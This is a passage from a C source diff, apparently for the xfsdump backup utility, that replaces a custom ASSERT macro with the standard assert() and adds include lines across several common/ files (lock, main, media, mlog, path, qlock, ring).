tok->md_sesstok->sd_invtok->d_stobj_fd >= 0 ); mf = (invt_mediafile_t *) calloc( 1, sizeof( invt_mediafile_t ) ); @@ -627,8 +628,8 @@ inv_get_session( void **bufpp, /* buf to fill */ size_t *bufszp )/* size of that buffer */ { - ASSERT( tok != INV_TOKEN_NULL ); - ASSERT( tok->sd_invtok ); + assert( tok != INV_TOKEN_NULL ); + assert( tok->sd_invtok ); /* First get the session header, and the session information. Then we can figure out how much space to allocate */ diff --git a/common/lock.c b/common/lock.c index ab5b210..347f6cd 100644 --- a/common/lock.c +++ b/common/lock.c @@ -18,6 +18,7 @@ #include #include +#include #include "types.h" #include "qlock.h" @@ -30,7 +31,7 @@ lock_init( void ) { /* initialization sanity checks */ - ASSERT( lock_qlockh == QLOCKH_NULL ); + assert( lock_qlockh == QLOCKH_NULL ); /* allocate a qlock */ diff --git a/common/main.c b/common/main.c index 8e7451f..f392856 100644 --- a/common/main.c +++ b/common/main.c @@ -33,6 +33,7 @@ #include #include #include +#include #include "exit.h" #include "types.h" @@ -161,14 +162,14 @@ main( int argc, char *argv[] ) /* sanity checks */ - ASSERT( sizeof( char_t ) == 1 ); - ASSERT( sizeof( u_char_t ) == 1 ); - ASSERT( sizeof( int32_t ) == 4 ); - ASSERT( sizeof( u_int32_t ) == 4 ); - ASSERT( sizeof( size32_t ) == 4 ); - ASSERT( sizeof( int64_t ) == 8 ); - ASSERT( sizeof( u_int64_t ) == 8 ); - ASSERT( sizeof( size64_t ) == 8 ); + assert( sizeof( char_t ) == 1 ); + assert( sizeof( u_char_t ) == 1 ); + assert( sizeof( int32_t ) == 4 ); + assert( sizeof( u_int32_t ) == 4 ); + assert( sizeof( size32_t ) == 4 ); + assert( sizeof( int64_t ) == 8 ); + assert( sizeof( u_int64_t ) == 8 ); + assert( sizeof( size64_t ) == 8 ); /* record the command name used to invoke */ @@ -365,7 +366,7 @@ main( int argc, char *argv[] ) mlog( MLOG_DEBUG | MLOG_PROC, "getpagesize( ) returns %u\n", pgsz ); - ASSERT( ( intgen_t )pgsz > 0 ); + assert( ( intgen_t )pgsz > 0 ); pgmask = pgsz - 1; /* report parent tid @@ -792,7 +793,7 @@ main( int argc, char *argv[] ) mlog_exit_hint(RV_INTR); stop_in_progress = BOOL_TRUE; cldmgr_stop( ); - ASSERT( stop_timeout >= 0 ); + assert( stop_timeout >= 0 ); stop_deadline = now + ( time32_t )stop_timeout; } @@ -1146,7 +1147,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) return BOOL_FALSE; } optfilename = optarg; - ASSERT( optind > 2 ); + assert( optind > 2 ); optfileix = ( ix_t )optind - 2; break; } @@ -1211,7 +1212,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* allocate an argument buffer */ argbuf = ( char * )malloc( sz ); - ASSERT( argbuf ); + assert( argbuf ); /* copy arg0 (the executable's name ) in first */ @@ -1233,7 +1234,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) close( fd ); return BOOL_FALSE; } - ASSERT( ( off64_t )nread == stat.st_size ); + assert( ( off64_t )nread == stat.st_size ); p += ( size_t )stat.st_size; *p++ = ' '; @@ -1251,7 +1252,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* null-terminate the entire buffer */ *p++ = 0; - ASSERT( ( size_t )( p - argbuf ) <= sz ); + assert( ( size_t )( p - argbuf ) <= sz ); /* change newlines and carriage returns into spaces */ @@ -1303,7 +1304,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* allocate a new argv array to hold the tokens */ newargv = ( char ** )calloc( tokencnt, sizeof( char * )); - ASSERT( newargv ); + assert( newargv ); /* null-terminate tokens and place in new argv, after * extracting quotes and escapes @@ -1326,7 +1327,7 @@ loadoptfile( intgen_t *argcp, char ***argvp ) /* better not disagree with counting scan! */ - ASSERT( i < ( intgen_t )tokencnt ); + assert( i < ( intgen_t )tokencnt ); /* find the end of the first token */ @@ -1533,7 +1534,7 @@ sigint_dialog( void ) _("\nsession interrupt in progress\n"); } preamblestr[ preamblecnt++ ] = "\n"; - ASSERT( preamblecnt <= PREAMBLEMAX ); + assert( preamblecnt <= PREAMBLEMAX ); dlog_begin( preamblestr, preamblecnt ); /* top-level query: a function of session interrupt status @@ -1541,7 +1542,7 @@ sigint_dialog( void ) querycnt = 0; querystr[ querycnt++ ] = _("please select one of " "the following operations\n"); - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; if ( ! stop_in_progress ) { interruptix = choicecnt; @@ -1564,7 +1565,7 @@ sigint_dialog( void ) choicestr[ choicecnt++ ] = _("other controls"); continueix = choicecnt; choicestr[ choicecnt++ ] = _("continue"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, @@ -1586,13 +1587,13 @@ sigint_dialog( void ) ackcnt ); querycnt = 0; querystr[ querycnt++ ] = _("please confirm\n"); - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; interruptix = choicecnt; choicestr[ choicecnt++ ] = _("interrupt this session"); nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("continue"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -1623,7 +1624,7 @@ sigint_dialog( void ) querycnt = 0; querystr[ querycnt++ ] = _("please select one of " "the following subsystems\n"); - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; /* number of lines must match number of subsystems */ @@ -1634,7 +1635,7 @@ sigint_dialog( void ) choicestr[ choicecnt++ ] = _("all of the above"); nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("no change"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -1664,7 +1665,7 @@ sigint_dialog( void ) querycnt = 0; querystr[ querycnt++ ] = ("please select one of the " "following verbosity levels\n"); - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; choicestr[ choicecnt++ ] = _("silent"); choicestr[ choicecnt++ ] = _("verbose"); @@ -1674,7 +1675,7 @@ sigint_dialog( void ) choicestr[ choicecnt++ ] = _("nitty + 1"); nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("no change"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -1708,7 +1709,7 @@ sigint_dialog( void ) } else { if ( ssselected < 0 ) { ix_t ssix; - ASSERT( ssselected == -1 ); + assert( ssselected == -1 ); for ( ssix = 0 ; ssix < MLOG_SS_CNT @@ -1734,7 +1735,7 @@ sigint_dialog( void ) querycnt = 0; querystr[ querycnt++ ] = _("please select one of " "the following metrics\n"); - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; ioix = choicecnt; choicestr[ choicecnt++ ] = _("I/O"); @@ -1746,7 +1747,7 @@ sigint_dialog( void ) #endif /* RESTORE */ nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("continue"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -1779,11 +1780,11 @@ sigint_dialog( void ) if ( responseix != nochangeix ) { querycnt = 0; querystr[ querycnt++ ] = "\n"; - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("continue"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -1818,7 +1819,7 @@ sigint_dialog( void ) querycnt = 0; querystr[ querycnt++ ] = _("please select one of " "the following controls\n"); - ASSERT( querycnt <= QUERYMAX ); + assert( querycnt <= QUERYMAX ); choicecnt = 0; progix = choicecnt; if ( progrpt_enabledpr ) { @@ -1847,7 +1848,7 @@ sigint_dialog( void ) } nochangeix = choicecnt; choicestr[ choicecnt++ ] = _("continue"); - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -1898,7 +1899,7 @@ sigint_dialog( void ) sprintf( intervalbuf, _("%d seconds\n"), newinterval ); - ASSERT( strlen( intervalbuf ) + assert( strlen( intervalbuf ) < sizeof( intervalbuf )); ackstr[ ackcnt++ ] = intervalbuf; @@ -1911,7 +1912,7 @@ sigint_dialog( void ) sprintf( intervalbuf, _("%d second intervals\n"), newinterval ); - ASSERT( strlen( intervalbuf ) + assert( strlen( intervalbuf ) < sizeof( intervalbuf )); ackstr[ ackcnt++ ] = intervalbuf; @@ -1966,7 +1967,7 @@ sigint_dialog( void ) postamblestr[ postamblecnt++ ] = "\n"; postamblestr[ postamblecnt++ ] = fold; postamblestr[ postamblecnt++ ] = "\n\n"; - ASSERT( postamblecnt <= POSTAMBLEMAX ); + assert( postamblecnt <= POSTAMBLEMAX ); dlog_end( postamblestr, postamblecnt ); @@ -2009,7 +2010,7 @@ sigintstr( void ) } else { sprintf( buf, "%c", intchr ); } - ASSERT( strlen( buf ) < sizeof( buf )); + assert( strlen( buf ) < sizeof( buf )); return buf; } @@ -2030,11 +2031,11 @@ set_rlimits( size64_t *vmszp ) /* REFERENCED */ intgen_t rval; - ASSERT( minstacksz <= maxstacksz ); + assert( minstacksz <= maxstacksz ); rval = getrlimit64( RLIMIT_AS, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_AS org cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, @@ -2044,7 +2045,7 @@ set_rlimits( size64_t *vmszp ) rlimit64.rlim_cur = rlimit64.rlim_max; ( void )setrlimit64( RLIMIT_AS, &rlimit64 ); rval = getrlimit64( RLIMIT_AS, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_VMEM now cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, @@ -2054,9 +2055,9 @@ set_rlimits( size64_t *vmszp ) vmsz = ( size64_t )rlimit64.rlim_cur; #endif /* RESTORE */ - ASSERT( minstacksz <= maxstacksz ); + assert( minstacksz <= maxstacksz ); rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_STACK org cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, @@ -2076,7 +2077,7 @@ set_rlimits( size64_t *vmszp ) rlimit64.rlim_max = minstacksz; ( void )setrlimit64( RLIMIT_STACK, &rlimit64 ); rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); if ( rlimit64.rlim_cur < minstacksz ) { mlog( MLOG_NORMAL | @@ -2103,7 +2104,7 @@ set_rlimits( size64_t *vmszp ) rlimit64.rlim_cur = minstacksz; ( void )setrlimit64( RLIMIT_STACK, &rlimit64 ); rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); if ( rlimit64.rlim_cur < minstacksz ) { mlog( MLOG_NORMAL | @@ -2131,7 +2132,7 @@ set_rlimits( size64_t *vmszp ) rlimit64.rlim_cur = maxstacksz; ( void )setrlimit64( RLIMIT_STACK, &rlimit64 ); rval = getrlimit64( RLIMIT_STACK, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); if ( rlimit64.rlim_cur > maxstacksz ) { mlog( MLOG_NORMAL | @@ -2152,14 +2153,14 @@ set_rlimits( size64_t *vmszp ) rlimit64.rlim_max ); rval = getrlimit64( RLIMIT_DATA, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_DATA org cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, rlimit64.rlim_max ); rval = getrlimit64( RLIMIT_FSIZE, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_FSIZE org cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, @@ -2169,14 +2170,14 @@ set_rlimits( size64_t *vmszp ) rlimit64.rlim_cur = RLIM64_INFINITY; ( void )setrlimit64( RLIMIT_FSIZE, &rlimit64 ); rval = getrlimit64( RLIMIT_FSIZE, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_FSIZE now cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, rlimit64.rlim_max ); rval = getrlimit64( RLIMIT_CPU, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_CPU cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, @@ -2184,7 +2185,7 @@ set_rlimits( size64_t *vmszp ) rlimit64.rlim_cur = rlimit64.rlim_max; ( void )setrlimit64( RLIMIT_CPU, &rlimit64 ); rval = getrlimit64( RLIMIT_CPU, &rlimit64 ); - ASSERT( ! rval ); + assert( ! rval ); mlog( MLOG_NITTY | MLOG_NOLOCK | MLOG_PROC, "RLIMIT_CPU now cur 0x%llx max 0x%llx\n", rlimit64.rlim_cur, diff --git a/common/media.c b/common/media.c index 4ad7776..53b94d1 100644 --- a/common/media.c +++ b/common/media.c @@ -26,6 +26,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -91,8 +92,8 @@ media_create( int argc, char *argv[ ], drive_strategy_t *dsp ) /* sanity check asserts */ - ASSERT( sizeof( media_hdr_t ) == MEDIA_HDR_SZ ); - ASSERT( MEDIA_MARKLOG_SZ == sizeof( media_marklog_t )); + assert( sizeof( media_hdr_t ) == MEDIA_HDR_SZ ); + assert( MEDIA_MARKLOG_SZ == sizeof( media_marklog_t )); /* scan the command line for a media label */ @@ -143,7 +144,7 @@ media_create( int argc, char *argv[ ], drive_strategy_t *dsp ) */ mediacnt = dsp->ds_drivecnt; mediapp = ( media_t ** )calloc( mediacnt, sizeof( media_t * )); - ASSERT( mediapp ); + assert( mediapp ); for ( mediaix = 0 ; mediaix < mediacnt ; mediaix++ ) { mediapp[ mediaix ] = media_alloc( dsp->ds_drivep[ mediaix ], medialabel ); @@ -266,7 +267,7 @@ media_alloc( drive_t *drivep, size_t mwhdrsz; mediap = ( media_t * )calloc( 1, sizeof( media_t )); - ASSERT( mediap ); + assert( mediap ); grhdrp = 0; gwhdrp = 0; @@ -279,12 +280,12 @@ media_alloc( drive_t *drivep, &gwhdrp, ( char ** )&mwhdrp, &mwhdrsz ); - ASSERT( grhdrp ); - ASSERT( gwhdrp ); - ASSERT( mrhdrp ); - ASSERT( mwhdrp ); - ASSERT( mrhdrsz == MEDIA_HDR_SZ ); - ASSERT( mwhdrsz == MEDIA_HDR_SZ ); + assert( grhdrp ); + assert( gwhdrp ); + assert( mrhdrp ); + assert( mwhdrp ); + assert( mrhdrsz == MEDIA_HDR_SZ ); + assert( mwhdrsz == MEDIA_HDR_SZ ); mediap->m_greadhdrp = grhdrp; mediap->m_gwritehdrp = gwhdrp; diff --git a/common/mlog.c b/common/mlog.c index b0135b9..c546036 100644 --- a/common/mlog.c +++ b/common/mlog.c @@ -27,6 +27,7 @@ #include #include #include +#include #include "types.h" #include "qlock.h" @@ -157,9 +158,9 @@ mlog_init1( intgen_t argc, char *argv[ ] ) vsymcnt = sizeof( mlog_sym ) / sizeof( mlog_sym[ 0 ] ); suboptstrs = ( char ** )calloc( MLOG_SS_CNT + vsymcnt + 1, sizeof( char * )); - ASSERT( suboptstrs ); + assert( suboptstrs ); for ( soix = 0 ; soix < MLOG_SS_CNT ; soix++ ) { - ASSERT( strlen( mlog_ss_names[ soix ] ) <= MLOG_SS_NAME_MAX ); + assert( strlen( mlog_ss_names[ soix ] ) <= MLOG_SS_NAME_MAX ); /* unrelated, but opportunity to chk */ suboptstrs[ soix ] = mlog_ss_names[ soix ]; } @@ -210,7 +211,7 @@ mlog_init1( intgen_t argc, char *argv[ ] ) usage( ); return BOOL_FALSE; } - ASSERT( ( ix_t )suboptix + assert( ( ix_t )suboptix < MLOG_SS_CNT + vsymcnt ); if ( suboptix < MLOG_SS_CNT ) { @@ -273,8 +274,8 @@ mlog_init1( intgen_t argc, char *argv[ ] ) */ for ( ssix = 0 ; ssix < MLOG_SS_CNT ; ssix++ ) { if ( mlog_level_ss[ ssix ] < 0 ) { - ASSERT( mlog_level_ss[ ssix ] == -1 ); - ASSERT( mlog_level_ss[ MLOG_SS_GEN ] >= 0 ); + assert( mlog_level_ss[ ssix ] == -1 ); + assert( mlog_level_ss[ MLOG_SS_GEN ] >= 0 ); mlog_level_ss[ ssix ] = mlog_level_ss[ MLOG_SS_GEN ]; } } @@ -375,7 +376,7 @@ mlog_va( intgen_t levelarg, char *fmt, va_list args ) level = levelarg & MLOG_LEVELMASK; ss = ( ix_t )( ( levelarg & MLOG_SS_MASK ) >> MLOG_SS_SHIFT ); - ASSERT( ss < MLOG_SS_CNT ); + assert( ss < MLOG_SS_CNT ); if ( level > mlog_level_ss[ ss ] ) { return; } @@ -402,7 +403,7 @@ mlog_va( intgen_t levelarg, char *fmt, va_list args ) tmp->tm_hour, tmp->tm_min, tmp->tm_sec ); - ASSERT( strlen( mlog_tsstr ) < sizeof( mlog_tsstr )); + assert( strlen( mlog_tsstr ) < sizeof( mlog_tsstr )); } else { mlog_tsstr[ 0 ] = 0; } @@ -676,7 +677,7 @@ mlog_get_hint( void ) ok = stream_get_exit_status(pthread_self(), states, N(states), NULL, NULL, NULL, NULL, &hint); - ASSERT(ok); + assert(ok); return hint; } @@ -736,7 +737,7 @@ mlog_exit_flush(void) &exit_code, &exit_return, &exit_hint); - ASSERT(ok); + assert(ok); /* hint takes priority over return */ rv = (exit_hint != RV_NONE) ? exit_hint : exit_return; @@ -771,7 +772,7 @@ mlog_exit_flush(void) else if (IS_INCOMPLETE(rv)) incomplete = BOOL_TRUE; /* if we don't have an exit code here there is a problem */ - ASSERT(VALID_EXIT_CODE(mlog_main_exit_code)); + assert(VALID_EXIT_CODE(mlog_main_exit_code)); if (interrupt) status_str = "INTERRUPT"; else if (quit) status_str = "QUIT"; else if (incomplete) status_str = "INCOMPLETE"; diff --git a/common/openutil.c b/common/openutil.c index 9a88d67..c3b8d9a 100644 --- a/common/openutil.c +++ b/common/openutil.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "types.h" #include "mlog.h" @@ -56,7 +57,7 @@ open_pathalloc( char *dirname, char *basename, pid_t pid ) } namelen = dirlen + 1 + strlen( basename ) + pidlen + 1; namebuf = ( char * )calloc( 1, namelen ); - ASSERT( namebuf ); + assert( namebuf ); if ( pid ) { ( void )snprintf( namebuf, namelen, "%s/%s.%d", dirname, basename, pid ); diff --git a/common/path.c b/common/path.c index ca24f6a..e40c473 100644 --- a/common/path.c +++ b/common/path.c @@ -17,6 +17,7 @@ */ #include +#include #include "path.h" @@ -51,8 +52,8 @@ path_diff( char *path, char *base ) { char *diff; - ASSERT( *base == '/' ); - ASSERT( *path == '/' ); + assert( *base == '/' ); + assert( *path == '/' ); if ( ! path_beginswith( path, base )) { return 0; @@ -70,7 +71,7 @@ path_diff( char *path, char *base ) } diff = ( char * )calloc( 1, strlen( path ) + 1 ); - ASSERT( diff ); + assert( diff ); strcpy( diff, path ); return diff; @@ -102,7 +103,7 @@ path_reltoabs( char *dir, char *basedir ) strlen( dir ) + 1 ); - ASSERT( absdir ); + assert( absdir ); ( void )sprintf( absdir, "%s/%s", basedir, dir ); @@ -127,7 +128,7 @@ path_normalize( char *path ) char *pep; char *npath; - ASSERT( path[ 0 ] == '/' ); + assert( path[ 0 ] == '/' ); while ( ( pep = pem_next( pemp )) != 0 ) { if ( ! strcmp( pep, "" )) { @@ -163,7 +164,7 @@ static pem_t * pem_alloc( char *path ) { pem_t *pemp = ( pem_t * )calloc( 1, sizeof( pem_t )); - ASSERT( pemp ); + assert( pemp ); pemp->pem_head = path; pemp->pem_next = pemp->pem_head; @@ -207,7 +208,7 @@ pem_next( pem_t *pemp ) /* allocate buffer to hold the path element, incl null termination */ p = ( char * )malloc( len + 1 ); - ASSERT( p ); + assert( p ); /* copy the path element into the buffer */ @@ -230,7 +231,7 @@ static pa_t * pa_alloc( void ) { pa_t *pap = ( pa_t * )calloc( 1, sizeof( pa_t )); - ASSERT( pap ); + assert( pap ); return pap; } @@ -250,7 +251,7 @@ pa_free( pa_t *pap ) static void pa_append( pa_t *pap, char *pep ) { - ASSERT( pap->pa_cnt < PAMAX ); + assert( pap->pa_cnt < PAMAX ); pap->pa_array[ pap->pa_cnt ] = pep; @@ -261,12 +262,12 @@ static int pa_peel( pa_t *pap ) { if ( pap->pa_cnt <= 0 ) { - ASSERT( pap->pa_cnt == 0 ); + assert( pap->pa_cnt == 0 ); return 0; } pap->pa_cnt--; - ASSERT( pap->pa_array[ pap->pa_cnt ] ); + assert( pap->pa_array[ pap->pa_cnt ] ); free( ( void * )pap->pa_array[ pap->pa_cnt ] ); pap->pa_array[ pap->pa_cnt ] = 0; @@ -292,7 +293,7 @@ pa_gen( pa_t *pap ) retp = ( char * )malloc( sz ); if ( pap->pa_cnt <= 0 ) { - ASSERT( pap->pa_cnt == 0 ); + assert( pap->pa_cnt == 0 ); sprintf( retp, "/" ); } else { p = retp; diff --git a/common/qlock.c b/common/qlock.c index ae8466d..d88917c 100644 --- a/common/qlock.c +++ b/common/qlock.c @@ -21,6 +21,7 @@ #include #include +#include #include "types.h" #include "qlock.h" @@ -78,13 +79,13 @@ qlock_alloc( ix_t ord ) /* verify the ordinal is not already taken, and mark as taken */ - ASSERT( ! QLOCK_ORDMAP_GET( qlock_ordalloced, ord )); + assert( ! QLOCK_ORDMAP_GET( qlock_ordalloced, ord )); QLOCK_ORDMAP_SET( qlock_ordalloced, ord ); /* allocate lock memory */ qlockp = ( qlock_t * )calloc( 1, sizeof( qlock_t )); - ASSERT( qlockp ); + assert( qlockp ); /* initialize the mutex */ @@ -118,7 +119,7 @@ qlock_lock( qlockh_t qlockh ) qlockp->ql_ord, thread_ordmap ); } - ASSERT( ! QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); + assert( ! QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); /* assert that no locks with a lesser ordinal are held by this thread */ @@ -129,12 +130,12 @@ qlock_lock( qlockh_t qlockh ) qlockp->ql_ord, thread_ordmap ); } - ASSERT( ! QLOCK_ORDMAP_CHK( thread_ordmap, qlockp->ql_ord )); + assert( ! QLOCK_ORDMAP_CHK( thread_ordmap, qlockp->ql_ord )); /* acquire the lock */ rval = pthread_mutex_lock( &qlockp->ql_mutex ); - ASSERT( !rval ); + assert( !rval ); /* add ordinal to this threads ordmap */ @@ -150,7 +151,7 @@ qlock_unlock( qlockh_t qlockh ) /* verify lock is held by this thread */ - ASSERT( QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); + assert( QLOCK_ORDMAP_GET( thread_ordmap, qlockp->ql_ord )); /* clear lock's ord from thread's ord map */ @@ -159,7 +160,7 @@ qlock_unlock( qlockh_t qlockh ) /* release the lock */ rval = pthread_mutex_unlock( &qlockp->ql_mutex ); - ASSERT( ! rval ); + assert( ! rval ); } qsemh_t @@ -171,12 +172,12 @@ qsem_alloc( ix_t cnt ) /* allocate a semaphore */ semp = ( sem_t * )calloc( 1, sizeof( sem_t )); - ASSERT( semp ); + assert( semp ); /* initialize the semaphore */ rval = sem_init( semp, 0, cnt ); - ASSERT( !rval ); + assert( !rval ); return ( qsemh_t )semp; } @@ -190,7 +191,7 @@ qsem_free( qsemh_t qsemh ) /* destroy the mutex and condition */ rval = sem_destroy( semp ); - ASSERT( !rval ); + assert( !rval ); /* free the semaphore */ @@ -206,7 +207,7 @@ qsemP( qsemh_t qsemh ) /* "P" the semaphore */ rval = sem_wait( semp ); - ASSERT( !rval ); + assert( !rval ); } void @@ -218,7 +219,7 @@ qsemV( qsemh_t qsemh ) /* "V" the semaphore */ rval = sem_post( semp ); - ASSERT( !rval ); + assert( !rval ); } bool_t @@ -229,7 +230,7 @@ qsemPwouldblock( qsemh_t qsemh ) intgen_t rval; rval = sem_getvalue( semp, &count ); - ASSERT( !rval ); + assert( !rval ); return count <= 0 ? BOOL_TRUE : BOOL_FALSE; } @@ -242,7 +243,7 @@ qsemPavail( qsemh_t qsemh ) intgen_t rval; rval = sem_getvalue( semp, &count ); - ASSERT( !rval ); + assert( !rval ); return count < 0 ? 0 : count; } diff --git a/common/ring.c b/common/ring.c index 0d2feb0..f3de7c4 100644 --- a/common/ring.c +++ b/common/ring.c @@ -27,6 +27,7 @@ #include #include #include +#include #include "types.h" #include "qlock.h" @@ -56,7 +57,7 @@ ring_create( size_t ringlen, /* allocate a ring descriptor */ ringp = ( ring_t * )calloc( 1, sizeof( ring_t )); - ASSERT( ringp ); + assert( ringp ); ringp->r_len = ringlen; ringp->r_clientctxp = clientctxp; ringp->r_readfunc = readfunc; @@ -86,7 +87,7 @@ ring_create( size_t ringlen, /* allocate the ring messages */ ringp->r_msgp = ( ring_msg_t * )calloc( ringlen, sizeof( ring_msg_t )); - ASSERT( ringp->r_msgp ); + assert( ringp->r_msgp ); /* allocate the buffers and initialize the messages */ @@ -115,7 +116,7 @@ ring_create( size_t ringlen, *rvalp = EPERM; return 0; } - ASSERT( 0 ); + assert( 0 ); } } } @@ -126,7 +127,7 @@ ring_create( size_t ringlen, drive_index, _("slave"), ringp ); - ASSERT( ok ); + assert( ok ); return ringp; } @@ -138,7 +139,7 @@ ring_get( ring_t *ringp ) /* assert client currently holds no messages */ - ASSERT( ringp->r_client_cnt == 0 ); + assert( ringp->r_client_cnt == 0 ); /* bump client message count and note if client needs to block */ @@ -157,11 +158,11 @@ ring_get( ring_t *ringp ) /* assert the message is where it belongs */ - ASSERT( msgp->rm_loc == RING_LOC_READY ); + assert( msgp->rm_loc == RING_LOC_READY ); /* verify the message index has not become corrupted */ - ASSERT( msgp->rm_mix == ringp->r_ready_out_ix ); + assert( msgp->rm_mix == ringp->r_ready_out_ix ); /* bump the output index */ @@ -187,15 +188,15 @@ ring_put( ring_t *ringp, ring_msg_t *msgp ) { /* assert the client holds exactly one message */ - ASSERT( ringp->r_client_cnt == 1 ); + assert( ringp->r_client_cnt == 1 ); /* assert the client is returning the right message */ - ASSERT( msgp->rm_mix == ringp->r_active_in_ix ); + assert( msgp->rm_mix == ringp->r_active_in_ix ); /* assert the message is where it belongs */ - ASSERT( msgp->rm_loc == RING_LOC_CLIENT ); + assert( msgp->rm_loc == RING_LOC_CLIENT ); /* decrement the count of messages held by the client */ @@ -224,13 +225,13 @@ ring_reset( ring_t *ringp, ring_msg_t *msgp ) /* if the client is not holding a message, get the next message */ if ( ringp->r_client_cnt == 0 ) { - ASSERT( ! msgp ); + assert( ! msgp ); msgp = ring_get( ringp ); - ASSERT( msgp ); - ASSERT( ringp->r_client_cnt == 1 ); + assert( msgp ); + assert( ringp->r_client_cnt == 1 ); } else { - ASSERT( msgp ); - ASSERT( ringp->r_client_cnt == 1 ); + assert( msgp ); + assert( ringp->r_client_cnt == 1 ); } /* tell the slave to abort @@ -240,24 +241,24 @@ ring_reset( ring_t *ringp, ring_msg_t *msgp ) /* wait for the reset to be acknowledged */ - ASSERT( ringp->r_client_cnt == 0 ); + assert( ringp->r_client_cnt == 0 ); do { /* pull a message from the ready queue */ qsemP( ringp->r_ready_qsemh ); msgp = &ringp->r_msgp[ ringp->r_ready_out_ix ]; - ASSERT( msgp->rm_loc == RING_LOC_READY ); + assert( msgp->rm_loc == RING_LOC_READY ); ringp->r_ready_out_ix = ( ringp->r_ready_out_ix + 1 ) % ringp->r_len; ringp->r_client_cnt++; } while ( msgp->rm_stat != RING_STAT_RESETACK ); - ASSERT( ringp->r_client_cnt == ringp->r_len ); + assert( ringp->r_client_cnt == ringp->r_len ); /* re-initialize the ring */ - ASSERT( qsemPavail( ringp->r_ready_qsemh ) == 0 ); - ASSERT( qsemPavail( ringp->r_active_qsemh ) == 0 ); + assert( qsemPavail( ringp->r_ready_qsemh ) == 0 ); + assert( qsemPavail( ringp->r_active_qsemh ) == 0 ); ringp->r_ready_in_ix = 0; ringp->r_ready_out_ix = 0; ringp->r_active_in_ix = 0; @@ -273,8 +274,8 @@ ring_reset( ring_t *ringp, ring_msg_t *msgp ) msgp->rm_loc = RING_LOC_READY; qsemV( ringp->r_ready_qsemh ); } - ASSERT( qsemPavail( ringp->r_ready_qsemh ) == ringp->r_len ); - ASSERT( qsemPavail( ringp->r_active_qsemh ) == 0 ); + assert( qsemPavail( ringp->r_ready_qsemh ) == ringp->r_len ); + assert( qsemPavail( ringp->r_active_qsemh ) == 0 ); } void @@ -284,7 +285,7 @@ ring_destroy( ring_t *ringp ) /* the client must not be holding a message */ - ASSERT( ringp->r_client_cnt == 0 ); + assert( ringp->r_client_cnt == 0 ); /* get a message */ @@ -302,7 +303,7 @@ ring_destroy( ring_t *ringp ) */ qsemP( ringp->r_ready_qsemh ); msgp = &ringp->r_msgp[ ringp->r_ready_out_ix ]; - ASSERT( msgp->rm_loc == RING_LOC_READY ); + assert( msgp->rm_loc == RING_LOC_READY ); ringp->r_ready_out_ix = ( ringp->r_ready_out_ix + 1 